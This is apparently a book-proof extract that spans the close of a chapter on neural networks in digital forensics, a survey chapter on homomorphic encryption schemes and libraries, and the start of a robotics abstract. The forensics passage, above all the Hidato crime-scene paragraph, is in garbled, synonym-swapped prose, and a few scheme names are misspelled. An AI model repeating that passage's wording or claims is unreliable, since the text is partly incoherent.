Matrix (1, 1, 18). Matrix (1, 5, 26). Matrix (2, 1, 19). Matrix (2, 4, 27). 
Matrix (3, 2, 14). Matrix (3, 5, 23). Matrix (3, 6, 31). Matrix (4, 1, 1). Matrix 
(4, 4, 8). Matrix (4, 5, 33). Matrix (5, 3, 5). Matrix (6, 3, 10). Matrix (6, 5, 
36). Matrix (6, 6, 35).

The conundrum of Hidato is derived from the Hebrew word “Hida,” 
which means puzzle/mystery, logical brainteaser (also regarded as 
“Hidoku”) designed by the arithmetician Dr. Gyora Benedek from Israel. 
However, the major purpose of Hidato was to satiate the pattern with 
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numerics horizontally, vertically or diagonal ideal line. To predict the 
crime scene consideration of the matrix in Figure 3.3 is crucial. For an 
assumption if the corruption has taken place at the cell space spotted with 
0 located which is amongst 14, 8 and 5 at that point we need to take the 
hiatus with lower bound analogous when the dubious was at position 1 
and higher compelled corresponding to when the dubious was at local-
ity 36. Therefore, all stratagems have been undoubtedly swapped off when 
lengthy zero’s series happens [16].

3.4 Data Science Processing with Artificial 
Intelligence Models

Nevertheless, data/material science advancement with accessibility 
of large datasets conglomerate with the expansion in algorithms, plus 
upsurging progression in computing programming, kindled curiosity for 
readers to gain knowledge, especially on forensic analysis with the help 
of AI-constructed machines built for high-dimensional output of data. 
Moreover, the machine learning was ascertained to have phenomenal apti-
tude in various fields like image processing, video games, automatic car 
driving, voice recognition, IP address detection, Spam detection, fraudu-
lent web searches, etc. [17–23]. (Shown in Figure 3.4).

3.5 Pattern Recognition Techniques

The latest technique for analysis of crime to a robust extent is the key 
quality in forensic science, since this data science progression, which is 
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a subgroup of criminology detection, is practiced for uncovering diverse 
patterns/image forms of trends from huge data. The pattern identifica-
tion tendency is instituted based upon concrete evidence and probabi-
listic thinking. Hence, AI, ANN has been regarded as the most effectual 
technique in the recognition of these trends from convoluted data. Some 
examples are in this article for highlighting the AI brain in pattern detec-
tion models (model presented in Figure 3.5). The artificial neural network 
pattern programmed with machine learning, deep learning algorithm 
attempts to spot sundry parts of a portrait or an individual [24, 25]. 
Moreover, specific modes for pattern recognition are there, like recogni-
tion of spams patterns in email differs from configuration of sound, and 
similarly fingerprint patterns are also diverse, but all big data obtained 
helps in firm identification of patterns with a high degree of performance 
output through artificial neural networking programmes constructed 
with artificial intelligence technology. Hence, the employment of Artificial 
Intelligence/ANN can often mitigate the levels of false positive or false 
negative outcomes [26].

Data Science Processing
with Arti�cial Intelligence Models

Figure 3.4 Role of artificial intelligence in data science.
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3.6 ANN Applications

The artificial neural network has been utilized widely in all disciplines 
like educational purpose, in economics, and in forensic science for detec-
tion of criminals, predicting the scene of crime, and today we are fac-
ing the coronavirus pandemic where ANN plays a key role in predicting 
drugs for diagnosis. Our paper has focussed on neural networks per-
formance and its application to the global threat. This ANN technology 
works with machine learning plus deep learning programs for solving 
problems. Nevertheless, several researchers are tremendous identifiers of 
data patterns plus predicting shares in business/forecasting etc. [27–35]. 
For instance, highlights about ANN in disease prediction are depicted in 
Table 3.1.

3.7 Knowledge on Stages of Digital Forensic Analysis

The knowledge of forensic science is simplified with the introduction of 
digital forensics which helps in solving problems during complex investiga-
tion procedures. The main phases of forensic science are depicted in Figure 
3.6 which includes 1) the Recognition phase: The goal of this phase is to 
identify which are reliable proofs to be collected and stored; 2) Acquisition 
phase: The second phase is the chief stage for gathering all relevant evidence 
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Figure 3.5 Model for pattern recognition in forensic analysis.
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in connection with crime; 3) Perpetuation: All the technical actions are 
considered and managed during trial phases; 4) Investigation: Based on 
hypothesis in combination with scientific methodology the aim is to con-
firm/disprove the crime; 5) Evidence: Nevertheless, the final stage is criti-
cally intended to record the actions and outcomes through formal reports. 

Table 3.1 Application of artificial neural networking in predicting diseases.

S. no Entitlement Technique Prediction outcome

1 Derive data 
sets from 
appropriate site 
and merged 
with neural 
networks based 
on hierarchy for 
recognition of 
cardiovascular 
diseases [36].

Fuzzy neural 
network method/
algorithm 
employed

Analysis of variance 
is based upon 
the outcome and 
acknowledged by 
their characteristic 
features

2 Identification 
of Diabetes 
Mellitus by 
ANN’s [37].

Algorithm used is 
Back Propagation

The best output 
performance is 82%

3 Diabetes Mellitus 
is predicted 
with artificial 
neural 
networks [38].

Regression plots 
method

Accuracy based on 
Bayesian regulation 
and exhibiting 88.9%

4 Neonatal disease 
diagnosis 
utilization of 
ANNs [39].

Multilayer Back 
propagation 
algorithm

Predicting accuracy 
achieved was 75%

5 Incidence of 
Salmonellosis 
forecasted with 
help of ANNs 
[40].

Algorithm used was 
back propagation 

The empirical result 
was based on Theil’s 
U with a value of 
0.209
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Thus the knowledge of stages in forensic science provides identification of 
any corruption from small fragments into a transformed proof to be pre-
sented for trial [41–43].

3.8 Deep Learning and Modelling

The non-linear projection formation is based upon functions similar to the 
nervous system of the brain, i.e., neurons in transmission of impulses. The 
Artificial Neural Networks are regarded as the most effective device for 
modelling, particularly when the data connexion is mysterious or unfamil-
iar. Hence, ANNs can detect and study interconnected patterns between 
input data sets and resultant target values. The first and foremost neces-
sity is to train the ANNs to envisage the aftermath of any latest entered 
data. Artificial Neural Networks employs deep erudition method similar 
to that of the humanoid brain and can solve glitches even from non-linear 
multifaceted information. Moreover, ANNs look very natural and identi-
cal to that of human neurons in the brain. Although the interconnected 
neurons help to read complicated delinquent with much ease, the compu-
tational structure of ANNs with densely connected processing unit helps 
to predict/forecast the occurrences. Figure 3.7 shows the general model-
ling pattern of ANN with respect to human nervous system, i.e., neurons. 

Phase-I
Recognition

Phase-II
Acquisition

Phase

Phase-III
Perpetuation

Phase-IV
Investigation

Phase-V
Evidence

Figure 3.6 Phases of digital investigation provides knowledge in forensic science analysis.
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The neural network has to be fed with messages and once the messages 
enter, the brain automatically starts connecting with nodes which are 
regarded as hidden layers inside the brain. Since it is a computational 
biology, in order to predict the outcome it requires a few algorithms such 
as feed forward neural network, back propagation and regression plots. 
Therefore, the ANNs modelling with deep learning program have wider 
application in many disciplines like pattern recognition, power systems, 
5G robots in control of pandemic outbreaks, forecasting, manufacturing, 
social sciences and psychological sciences signal processing [44–51].

3.9 Conclusion

The basic challenge of this paper is to provide readers with a conceptual 
idea about the upsurging artificial astuteness and computerized reasoning 
in the digital forensics investigation to find solutions to undefined prob-
lems. At present, AI technology has created a revolution globally with 
automated specific modules to perform tasks with much ease. This review 
is based on the AI perspective which aims to construct software tools with 
complex connexions from diverse fields such as diagnosis, forecasting, pre-
diction, temporal learning with logical reasoning and finally conceptual 
analysis. Therefore, the intelligence agents built with automated tools help 
in digital investigation and solve cases robustly in comparison to exhaus-
tive searches conducted by human observation. Thus, artificial neural net-
working with the trend of pattern recognition became a breakthrough and 
is helpful in the solving of crime scenarios. 
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Abstract
The adoption of cloud platforms is gradually increasing due to the several benefits 
of cloud computing. Despite the numerous benefits of cloud computing, data secu-
rity and privacy is a major concern, due to lack of trust on cloud service provider 
(CSP). Data security can be achieved through the cryptographic techniques, but 
processing on encrypted data requires the sharing of a secret key with the CSP to 
perform operations on cloud data. This leads to the breach of data privacy. The 
power of cloud computing is fully utilized if one is able to perform computations on 
encrypted data outsourced to the cloud. Homomorphic Encryption (HE) enables 
to store data in encrypted form and perform computations on it without revealing 
the secret key to CSP. This chapter highlights existing HE techniques, their imple-
mentations in various libraries, and existing work in the field of computations on 
homomorphic encryption used in various applications like healthcare, financial. 

Keywords: Fully homomorphic encryption, HElib, SEAL, LibScarab, TFHE, FHEW

4.1 Introduction

Cloud computing delivers IT resources, such as storage, database, comput-
ing power, etc., on demand through the internet based on metered usage of 
resources. The benefits of cloud computing includes no guessing capacity, 
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increased speed and agility, lower cost, reduced burden of provisioning 
and maintaining IT resources and the ability to access services from any-
where, at any time within a minute. In spite of the many benefits of cloud 
computing, security and privacy of data is a major challenge.

Data security is concerned with protecting the data stored in databases 
and in transit from unauthorized users. The various techniques like data 
encryption, software- and hardware-based mechanisms, data backup, data 
masking and erasure, etc., can be used to protect sensitive data from unau-
thorized access. These techniques ensure data security, but storing the data 
in encrypted form using traditional or modern encryption techniques will 
not be adequate, due to the incapability of these cryptographic techniques 
to operate on ciphertext. This will restrict the utilization of computational 
power of cloud computing. The cryptographic techniques are able to secure 
the data by encryption and decryption algorithm, but aren’t able to operate 
on encrypted data.

Homomorphic Encryption techniques enable to implement spe-
cific operation on encoded data (Ciphertext), generates encoded results 
without revealing the secret key. The encoded result, when decoded, is 
the same as that of the result of computation executed on original data 
(Plaintext). Consider a client-server application, where data is stored in 
encrypted form on server. When a client requests any operation/function 
on encrypted data, with the traditional encryption schemes, data needs to 
be decrypted before applying the function on it, which leads to a breach of 
data privacy. Whereas if data is encrypted using homomorphic encryption 
techniques and stored on the server, when the client requests any operation 
on it, homomorphic encryption enables it to perform that computation 
on encrypted data and generates encrypted results. The encrypted result 
received by the client, when decrypted, the result obtained is the same as 
that of the result of applying function on original data.

A simple client-server application shown in Figure 4.1 demonstrates the 
working of Homomorphic encryption. The client performs encryption and 

1. Encrypts message p,
Enc(p)

Client
6. Decrypts results

Enc(f(p)),
Dec(Enc(f(p)))

to get f(p)

Server

4. Compute f()
homomorphically on

Enc(p)

2. Sends Enc(p) to store

3. Sends function f() to operate

5 Sends encrypted result of
function f(), Enc(f(p))

Figure 4.1 Working of homomorphic encryption.
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decryption operations whereas the server will perform an evaluation oper-
ation which performs the requested operation on encrypted data stored 
on the server. The server will not be able to decrypt the data, as keys are 
not revealed to it. The server evaluates the function homomorphically and 
sends encrypted results back to the client. When the client decrypts this 
result he gets the equivalent to the result of function when applied to orig-
inal data.

Homomorphic encryption techniques are developed with the intention 
of securing computations over encrypted data. It can be used for storage 
and computations that are outsourced to preserve the data privacy. The 
objective of Homomorphic encryption is

• To operate on encrypted data.
• Eliminates repeated encryption and decryption of data 

before performing computations at cloud.
• Provides security, by allowing computations on encrypted 

data without revealing secret/private key to the CSP.
• Preserve privacy of data while performing computations on 

encrypted data. 

Homomorphic encryption provides data security without disturbing 
the business practices or application procedures. It enables the retrieval 
of intelligent information from sensitive data and thus provides privacy 
of data. Despite the benefits of homomorphic encryption, it also has a 
few drawbacks. The development of homomorphic encryption is still in 
research. The existing homomorphic schemes are inefficient to process 
massive amounts of data available in encrypted form. After a specific num-
ber of homomorphic operations, existing schemes are unable to generate 
correct results. The applicability of homomorphic encryption for real-life 
applications is still in research due to computation overhead. There is a 
need for designing programming constructs which can directly operate on 
encrypted data.

This chapter gives complete insight of the state of the art of Fully 
Homomorphic Encryption. The chapter covers different HE schemes, their 
implementations through various libraries, representation of whole and real 
numbers in encrypted domain along with the operations performed on it 
and the real world applications of HE. The main objective of this chapter is 
to discuss the various existing homomorphic encryption techniques based 
on various mathematical problems and their implementations available in 
various libraries. The HE libraries are able to implement various compu-
tations on encrypted data like vector-matrix multiplication. The existing 
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work related to computations on encrypted data is discussed here along 
with their application domains. In section 4.2, various HE schemes are dis-
cussed and compared. Section 4.3 introduces different libraries, which pro-
vide implementation of HE schemes. The representation of numbers in an 
encrypted domain, along with the existing work has been done for design-
ing computations on it, is discussed in section 4.4. Section 4.5 addresses 
the applicability of HE scheme in real-life applications.

4.2 Homomorphic Encryption Techniques

The cryptographic technique achieves data security by encrypting user’s 
data, but does not allow any computation on it. One needs to decrypt it, 
perform computation and further encrypt the result [1]. HE allows some 
operations on encrypted data and generates encrypted results. The value 
obtained after decryption of generated result is the same as the result 
obtained by performing the same operation on the plaintext.

Homomorphism is a mapping of onto function between two algebraic 
structures like groups and rings. For given two groups (F, ○) and (G, 
◊), a group homomorphism from (F, ○) to (G, ◊) is a function f: F → G 
such that for all a and b in F, f(a○b)=f(a)◊f(b). Consider an encryp-
tion scheme with five tuples (P, C, K, E, D), where P is plaintext, C is 
ciphertext, K is key and E is encryption algorithm and D is decryption 
algorithm. Assume that plaintext P is a group with operation ○ and 
cipher text C is a group with operation ◊ that means (P, ○) and (C, ◊) 
are groups. The encryption algorithm E is a function that maps from 
group P to C using key K, which is either public or private key. Thus EK: 
P → C. The encryption scheme is homomorphic if for all a, b in P and k 
in K, Ek(a) ◊ Ek(b) = Ek (a ○ b).

In the example below, let us consider two numbers n1 and n2 with values 
5 and 7, respectively. One needs to compute addition operation on it. The 
numbers are stored in encrypted form. Let c1=Enc(n1) and c2=Enc(n2) 
where c1 and c2 are cipher texts of n1 and n2 respectively and Enc is an 
encryption algorithm. Let us assume c1 andc2 are having values ‘x’ and 
‘y’ and addition of c1 and c2 results in ciphertext ‘z’. When the decryption 
algorithm Dec is applied to result ‘z’, it generates number 12 that is the 
addition of original numbers 5 and 7.

Homomorphic schemes are based on the two primitive operations 
addition and multiplication, which are represented by XOR and AND 
operations respectively. The different Homomorphic encryption schemes 
allow limited times either homomorphic addition or multiplication. 
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The homomorphic techniques are classified into three categories on 
the basis of number of operations executed on encrypted data: Partially 
Homomorphic Encryption, which allows unlimited times only single 
operation, Somewhat Homomorphic Encryption allows limited times 
some type of operations; and Fully Homomorphic Encryption allows 
arbitrary times all types of operations. The practical applicability of 
Homomorphic encryption can be achieved only if one is able to perform 
an arbitrary number of homomorphic additions and multiplications on 
encrypted data. The Fully Homomorphic Encryption scheme allows arbi-
trary operations on encrypted data, but its applicability in real applica-
tions is still in research.

The two sections below discuss various schemes in PHE and FHE as 
shown in Figure 4.2.

4.2.1 Partial Homomorphic Encryption Schemes

The first homomorphic encryption scheme is unpadded RSA developed in 
1977 by Rivest-Shamir-Adleman [2, 3], based on the integer factorization 
problem. It is easy to calculate a product of two prime numbers but it is 
difficult to find prime factors of a number in polynomial time. The secu-
rity of RSA is based on this phenomenon. RSA supports homomorphic 
multiplication, as it enables multiplication operation on encrypted data. 
Unpadded RSA is a partial homomorphic encryption scheme as it allows 
unlimited times only multiplication operation. But to ensure the security 
of plaintext, random bits are added before encryption, which leads to the 
loss of homomorphic property.

In 1982, Goldwasser-Micali (GM) [4, 5] proposed the first probabilis-
tic asymmetric-key encryption algorithm. This scheme is semantically 
secure and depends on the intractable problem of quadratic residue mod-
ulo composite N, i.e.. If x and N is given it is difficult to find whether x is 
quadratic residue modulo N. This scheme supports only additive homo-
morphic operation any number of times. This scheme also generates dif-
ferent ciphertext for the plaintext if encrypted multiple times, but the size 
of the ciphertext is too large.

RSA GM EIGamal

Partially Homomorphic Encryprion Schemes Fully Homomorphic Encryprion Schemes

Pallier BGN Gentry DGHV BV FV GSW CKSS

1977 1982 1985 1999 2005 2009 2010 2011 2012 2013 2018

Figure 4.2 Timeline of homomorphic encryption schemes from PHE to FHE.
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The next PHE scheme was invented by EIGamal in 1985 [6], which is 
based on a Diffie-Hellman key exchange asymmetric key encryption algo-
rithm. The security of this scheme depends upon the problems in cyclic 
groups that are related to difficulty of computing discrete logarithm. It per-
forms any number of times only a multiplication operation.

Similar to GM [2], the Paillier cryptosystem is also a probabilistic asym-
metric key algorithm developed by Pascal Paillier, in 1999 [7]. This scheme 
is built on the problem of decisional composite residuosity, i.e., finding nth 
residue classes. It also supports unlimited times only homomorphic addi-
tion operations.

Boneh-Goh-Nissim (BGN) Encryption Scheme was invented by Boneh, 
Dan, Eu-Jin Goh, and Kobbi Nissim in 2005 [8]. This scheme is built on the 
pairing of elliptical curves and its security depends on the subgroup deci-
sion problem. It supports both homomorphic addition and multiplication 
operation. The size of ciphertext is constant. This is somewhat homomor-
phic encryption (SWHE) which allows multiple additions and only one 
multiplication.

4.2.2 Fully Homomorphic Encryption Schemes

The schemes discussed in previous sections allow only one homomorphic 
operation unlimited times or only one operation arbitrarily and another 
one restricted times. The fully homomorphic encryption schemes arbi-
trarily allow both the operations. This section discusses such FHE schemes 
available in literature. The first step towards FHE was proposed by Gentry 
[9], in 2009. The proposed scheme is based on ideal lattice, which are 
subsets of rings that preserve the property. This scheme allows both addi-
tion and multiplication operation, but after some threshold the ciphertext 
becomes noisy. Gentry proposed squashing and bootstrapping techniques 
to retrieve proper ciphertext from noisy one. Even though this is a promis-
ing step towards FHE, its implementation is difficult and for real-life appli-
cations, it has high computational cost due to hard mathematical concepts. 
Many optimizations and new schemes have followed this scheme.

Another FHE scheme based on Gentry’s bootstrapping method is pro-
posed by Van Dijk et al.[10] in 2010. This scheme is not based on the ideal 
lattice, instead it uses integers. It is built on the Approximate Greatest 
Common Divisor (AGCD) problem. It allows both homomorphic addi-
tions and multiplication, but noise grows exponentially with multiplica-
tion and linearly with addition operation.

Zvika Brakerski and Vinod Vaikuntanathan [11], in 2011, proposed a 
fully homomorphic scheme based on the Ring learning with errors (RLWE) 
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introduced by Lyubashevsky, Peikert and Regev [12]. Initially they have 
presented SWHE scheme whose security reduces to the worst-case hard-
ness of problems on ideal lattices. By using squashing and bootstrapping 
techniques of Gentry, the scheme is transformed into fully homomorphic 
encryption schemes.

In 2012, Junfeng Fan and Frederik Vercauteren [13] extended Brakerski’s 
FHE scheme from the LWE to the RLWE. It also provides analysis and 
optimizations of various subroutines present in multiplication, lineariza-
tion and bootstrapping.

In 2013, Craig Gentry, Amit Sahai, and Brent Waters [14], proposed 
another homomorphic encryption scheme based on the LWE problem. 
This scheme is built on an approximate eigenvector method. The homo-
morphic operations – addition and multiplication operations are similar to 
the matrix addition and multiplication, which makes it simpler and faster 
than other FHE schemes. This scheme evaluates the homomorphic opera-
tions without knowing the user’s public key.

In 2018, Jung Hee Cheon et al. [15] proposed homomorphic encryption 
scheme for approximate arithmetic. The approximate addition and multi-
plication of encrypted data, along with rescaling procedure to manage size 
of plaintext, are supported by this scheme. The proposed scheme can be 
efficiently applied to transcendental functions like exponential function, 
multiplicative inverse, logistic function along with approximate circuits.

4.3 Homomorphic Encryption Libraries

The practical implementation of fully homomorphic encryption schemes 
is available in different libraries – HElib, SEAL, LibScarab, etc. This chapter 
also covers the comparison of these libraries along with their key features 
that helps to select the appropriate one for secure computations.

LibScarab [16]: LibScarab was developed by Michael Brenner in 2011 
as hcrypt-project repository on GitHub. This library is based on the large 
integers for implementation of fully homomorphic technique. The basis 
of mathematical concepts used in this library is the work proposed by 
Gentry [17] and N. Smart and F. Vercauteren [18] for the implementation 
approach based on integers. This library can be used for testing purposes as 
it is released as beta software. The mission critical applications should not 
be developed using this library.

HElib [19]: HElib is an open-source software library developed by IBM 
in May 2013, which implements homomorphic encryption (HE). After C. 
Gentry’s research at IBM, Shai Halevi and Victor Shop mainly developed 
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HElib. The implementation of Brakerski-Gentry-Vaikuntanathan (BGV) 
[20] homomorphic encryption scheme is available in HElib. It also 
includes various optimizations of Smart-Veercauteren [21] ciphertext 
packing technique and Gentry-Halevi-Smart to make execution of homo-
morphic evaluation faster. It is written in C++ and uses the NTL mathe-
matical library. Since 2018, HElib has been updated regularly to make it 
available for researchers working on homomrphic encryption so that they 
can get reliable, robust and good performance software for their work. It 
provides low-level routines like set, shift, add, multiply to support assem-
bly language for homomorphic encryption. It also supports bootstrapping, 
multithreading and plaintext objects can impersonate the functionality of 
ciphertext objects. It is complex to understand.

FHEW [22]: “Fastest Homomorphic Encryption in the West”, FHEW 
is another implementation of homomorphic encryption scheme discussed 
in [23] developed by Leo Ducas and Daniele Micciancio in 2014. FFTW 
library is used by FHEW. This library provides homomorphic evaluation 
of NAND gates in less than a second and thus improves the bootstrapping 
time. One can design any boolean circuit using a NAND gate. This imple-
mentation supports more gates like AND, OR, NOT, NOR and NAND.

TFHE [24]: Fast Fully Homomorphic Encryption over the Torus: TFHE 
is an implementation of homomorphic encryption scheme discussed in 
Chillotti et al. [25]. This library is developed in C which implements very 
fast gate-by-gate bootstrapping and uses FFTW library. The library sup-
ports binary gates like AND, OR, XOR, NAND, etc., along with negation 
and MUX gate and homomorphic evaluation of gates is improved signifi-
cantly compared to Leo Ducas and Daniele Micciancio [23]. TFHE allows 
any number of gates and their composition due to gate-bootstrapping, this 
enables the performing of arbitrary computations over encrypted data.

SEAL [26]: Simple Encrypted Arithmetic Library, SEAL, is another 
homomorphic encryption library developed by Laine et al., Microsoft 
in 2017 [27]. It is an implementation of two homomorphic encryption 
schemes, BFV [13] and CKSS [15]. When a computation requires exact 
results, the BFV scheme is used whereas CKSS is used to obtain approxi-
mate results when computations are performed on real and complex num-
bers. This library is easy to use as it does not require parameter selection. 
It allows addition and multiplication operations on encrypted integers and 
real numbers, but one cannot perform sorting, comparison operations 
using this library.

The various libraries of FHE implementations are compared in Table 
4.1. These libraries are implemented either in C or C++, with the sup-
port of mathematical libraries like GMP, NTL and FFTW. The different 
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homomorphic techniques implemented in various libraries are have their 
own limitations. LibScarab can be used only for testing the implementa-
tions on encrypted data; it is not suitable for mission critical applications. 
HELib is one of the efficient implementations of FHE, but setting the 
security parameters is a challenge in it. FHEW and TFHE provide more 
gate implementations and are easy to use. SEAL is an open-source library 
which supports addition and multiplication operations on real and com-
plex numbers with approximate results.

While implementing a library for homomorphic encryption, it is 
important to consider various features of homomorphic encryption which 
play a vital role in the evaluation of homomorphic operations. These 
features include bootstrapping, ciphertext packing, relinearization and 
multithreading.

Bootstrapping [20]: The homomorphic encryption scheme performs 
arithmetic operations on encrypted data using basic AND and XOR gates. 
The noise gets added linearly with addition operation and exponentially 
with multiplication. After certain operations the resulting ciphertext 
becomes too noisy; it is required to obtain proper ciphertext. Bootstrapping 
is a technique which performs decryption of noisy ciphertext to original 
ciphertext, when the encrypted private key and noisy ciphertext is given as 
input to the decryption circuit.

Ciphertext packing: Ciphertext packing is a technique by which a set 
of plaintext values can be packed into a single vector of ciphertext using 
Chinese Remainder Theorem (CRT). Using Single-Instruction-Multiple-
Data stream instructions, homomorphic operations can be evaluated on 
these vectors. Ciphertext packing is used to speed up the evaluation of 
homomorphic operations.

Recryption: Recryption is also used to reduce noise from noisy cipher-
text. A Recryption technique allows arbitrary computations on ciphertext 
by increasing the depth of homomorphism. It converts noisy ciphertext to 
original ciphertext without the secret key.

Relinearization: The size of ciphertext is increased during multiplica-
tion operation. If the two ciphertext of size s are multiplied the resulting 
ciphertext size is 2s-1; this leads to the noisy ciphertext. Relinearizaton is 
a technique used to reduce the size of ciphertext. After repeated relinear-
ization, the ciphertext obtained can be easily decrypted to get the resultant 
ciphertext. This can improve the performance of subsequent operations 
but computational cost is high in relinearization.

Multithreading: The homomorphic encryption libraries are thread safe 
by using APIs to support multithreading. The effective inter thread com-
munication and deadlock is avoided using these thread safe APIs.
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The comparison of FHE libraries based on different attributes is given 
in Table 4.2. In multiplication operation noise gets added exponentially, 
due to which the ciphertext generated becomes noisy and produces incor-
rect results after decryption. Bootstrapping and recryption techniques 
are used to retrieve appropriate ciphertext from noisy ciphertext. All the 
homomorphic encryption libraries implement bootstrapping or recryp-
tion. Ciphertext packing enables to pack multiple plaintext values in single 
ciphertext, and allows homomorphic operation to be performed on indi-
vidual slots of ciphertext, thus speeding up the evaluation by using SIMD 
instructions.  HELib and SEAL library supports ciphertext packing while 
other libraries convert individual plaintext to ciphertext separately. HELib 
and SEAL also supports re-linearization to reduce the size of ciphertext 
and also supports multithreading.

4.4 Computations on Encrypted Data

Any computation can be defined using several primitive operators like 
arithmetic and relational operators. The addition and multiplication oper-
ators can be used to represent any computation. Currently these operators 
are only available in the domain of plaintext, there is a need to check the 
applicability of these operators in the encrypted domain. The arithmetic 
and comparison operators can be modelled for bitwise encrypted integers 
in the domain of Z2. The fully homomorphic encryption scheme, BGV 
can be used for homomorphic evaluation of these operations in encrypted 
domain over the integers. The BGV scheme is defined with the key gen-
eration, encryption and decryption algorithm along with its multiplica-
tive and additive homomorphic properties. The practical implementation 
of BGV scheme is available in HELib, a fully homomorphic encryption 

Table 4.2 Comparison of HE libraries based on various features.

Library
Boot

strapping
Ciphertext

packing Recryption
Relinear

ization
Multi

threading

LibScarab √ √

HELib √ √ √ √ √

FHEW √ √

TFHE √ √

SEAL √ √ √
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library implemented by Shai Halevi and Victor Shoup at IBM. HELib pro-
vides the addition and multiplication functions which perform XOR and 
AND operation on encrypted bits.

The integers can be represented in a little-endian two’s complement rep-
resentation. Integers are represented as n-bit strings and individual bits are 
encrypted as a ciphertext. An encrypted binary integer is represented by a 
double-ended queue of ciphertext. Similarly, real numbers are also repre-
sented in two’s complement representation.

In BGV, the plaintext space is defined over R2. The plaintext is rep-
resented in binary and implemented using deque. The individual bit is 
encrypted using a homomorphic encryption scheme. The addition and 
multiplication operation is mapped to XOR and AND gate. The operations 
are performed on single bit ciphertext. The evaluation of AND gate is more 
complex than the evaluation of XOR gate due to modulus switching. Hence 
there is a need to reduce the number of AND gates and to minimize mul-
tiplication depth. Any computation can be represented using addition and 
multiplication circuits.

In [28], Ayankita Chaterjee et al. highlighted the problem of defining 
procedures that can run on encrypted data. This paper provides tech-
niques to define basic algorithmic constructs like arithmetic and relational 
operators, decision making loop control statements and data structures in 
the encrypted domain. The designs of these constructs are implemented 
using fully homomorphic primitives defined in Scarab library. This paper 
is the first step towards the designing of algorithms for homomorphically 
encrypted data. The author also proposed comparison-based and parti-
tion-based sorting techniques in [29] and proposed a new sorting tech-
nique known as Lazy sort. It also proposed a search technique on arrays of 
encrypted data.

In [30], Y. Chen and G. Gong, for the first time implemented integer 
arithmetic operators which are the basis for different aggregate functions. 
The implementation is carried out using a fully homomorphic library, 
Helib, and is evaluated to check the practical applicability of arithmetic 
operators in encrypted domain. The arithmetic operations are evaluated 
on 4-bit encrypted integers. The further improvement of the arithmetic 
operators in encrypted domain is proposed by Chen Xu et al. in [31].  They 
proposed more optimized and efficient circuits for evaluation of arithmetic 
operations on homomorphically encrypted integers. The implementation 
of homomorphic evaluation of 64-bit addition and subtraction operations 
and 16-bit multiplication without bootstrapping is proposed in this paper.

J. Chen et al. [32] proposed optimization of arithmetic circuits in 
encrypted domain. The implementation of arithmetic circuits using 

PROOF



Homomorphic Encryption from Theory to Applications 85

multi-threading technique and full ciphertext slots improves the perfor-
mance of arithmetic operations. The proposed system gives better results 
for addition operation.

Similar to arithmetic operations, the comparison operations can also 
be performed on encrypted data. Togan et al. [33] proposed modelling of 
comparison operators, “greater than”, “equal to” and “greater than or equal 
to” on encrypted integers. The practical implementation of the comparison 
operations is performed in HElib. In [34] Cheon et al. proposed an algo-
rithm to approximately find min/max or comparison of list of numbers 
which are encrypted as a word. The implementation of these operations is 
done using a homomorphic scheme, HEAAN.

The basic programming constructs defined for designing homomorphic 
computations can be used for implementing aggregate functions like max, 
min, sum, average, etc. But the practical implementation of arithmetic and 
comparison operations on encrypted data is still in research. It is required 
to design more optimized and efficient computations on homomorphic 
encrypted data, so that it enables the use of homomorphic encryption in 
different real-life applications in the field of machine learning, data min-
ing, etc.

4.5 Applications of Homomorphic Encryption

At the end, the applicability of these operators in the encrypted domain is 
verified by defining various functions like sum, average, maximum or min-
imum from a set of integers. This chapter will also give insights on the vari-
ous application domains like machine learning, big data analysis, statistical 
analysis, scientific computations, etc., where the computations on encrypted 
domains help to improve the privacy and security of data. In many indus-
tries, it is required to predict or create prototypes from encrypted distributed 
databases to achieve confidentiality along with minimizing computational 
overhead. The different real-life applications of homomorphic encryption 
like healthcare, genomics, etc., are discussed in [35].

In educational institutes, it is required to keep students’ records to 
monitor their performance; also it is required to predict students at risk 
of failure so that corrective actions may be taken. The prediction of such 
students is based on multiple factors like family background, health con-
dition, academic performance, social factors and many more. This kind 
of information is not available with an institute, but it might be available 
with different organizations in a distributed manner. Due to privacy policy, 
integration of data from different organizations and applying a prediction 
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model on it is a major challenge. Homomorphic encryption provides secu-
rity to the data, which can be brought together from various organizations 
for prediction and minimizes the risk of attacks on a single repository. It 
also allows computations on the encrypted data.

In the healthcare system, it is important to protect sensitive information 
from disclosure but it should be available for researchers or to perform com-
putations required for daily operations like billing and report generation. In 
billing and report generation, it is required to gather information about the 
medical records which includes prescriptions, doctor visits and treatment, 
etc. This will reveal the confidentiality of sensitive information of the patient. 
Homomorphic encryption provides privacy and performs computations on 
encrypted data without revealing patient details. Also in case of research-
ers, to give the personalized treatment to individual patients it is required 
to maintain the record of the patient’s health condition, its genotype, family 
history, its medical history, etc. The intensive computations are required to 
perform on this data to define personalized therapy for each patient.

A control system is a computerized system which controls a physical 
system remotely. It consists of sensors – to sense the environment and 
gather the data, controller – to process data received from sensors and send 
it to the actuators and the actuators perform action in the physical sys-
tem. An attacker can access data sensed by a sensor and perform malicious 
action to destroy the system. Homomorphic encryption enables encryp-
tion of sensed data and controllers can process it without decrypting it. So 
confidentiality is achieved at the controller too.

As discussed in above applications, day by day huge amounts of infor-
mation are generated, and stored in distributed fashion or on cloud. The 
privacy and confidentiality of this information is a major concern along 
with the computation of mining algorithms on it [36]. Fully homomorphic 
encryption stores data in encrypted form and performs arbitrary compu-
tations on it. So FHE can be used in the domain of data mining, where 
the information is extracted by performing computations on large data 
sets. Also FHE is found to be an efficient scheme for the machine learning 
applications. Most of the work has been performed in supervised learning. 
In [37] an attempt was made to apply FHE for unsupervised learning to 
implement k-means clustering algorithm.

4.6  Conclusion

Fully homomorphic encryption is definitely a promising scheme for 
designing and implementing computations on encrypted data stored on 

PROOF



Homomorphic Encryption from Theory to Applications 87

cloud to fully utilize the power of cloud computing in coming years. This 
chapter introduces various fully homomorphic encryption schemes from 
RSA to CKSS, the most recent FHE scheme along with their implemen-
tations available in different libraries. It also discusses the designing of 
algorithmic/programming constructs in encrypted domains available in 
literature. The practical applicability of FHE can be tested by implement-
ing it over different application domains like data mining, machine learn-
ing, statistical analysis, etc. In this chapter, the detailed survey of available 
Homomorphic encryption schemes, their libraries, computational designs 
and its applications are discussed in detail. The practical applicability of 
FHE is still in research. There is a need for a more optimized and efficient 
FHE scheme with minimal computational overhead. Also it is required to 
design more optimized homomorphic operations on encrypted data to 
efficiently use them in real-world applications. This chapter is an attempt 
to highlight the existing FHE schemes, their implementation in vari-
ous libraries followed by the work done in the field of computations on 
encrypted data used in different applications.
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Abstract
This chapter is an attempt to theoretically analyze human behavior and the con-
structions of intelligent artifacts through robotics. It highlights how the process 
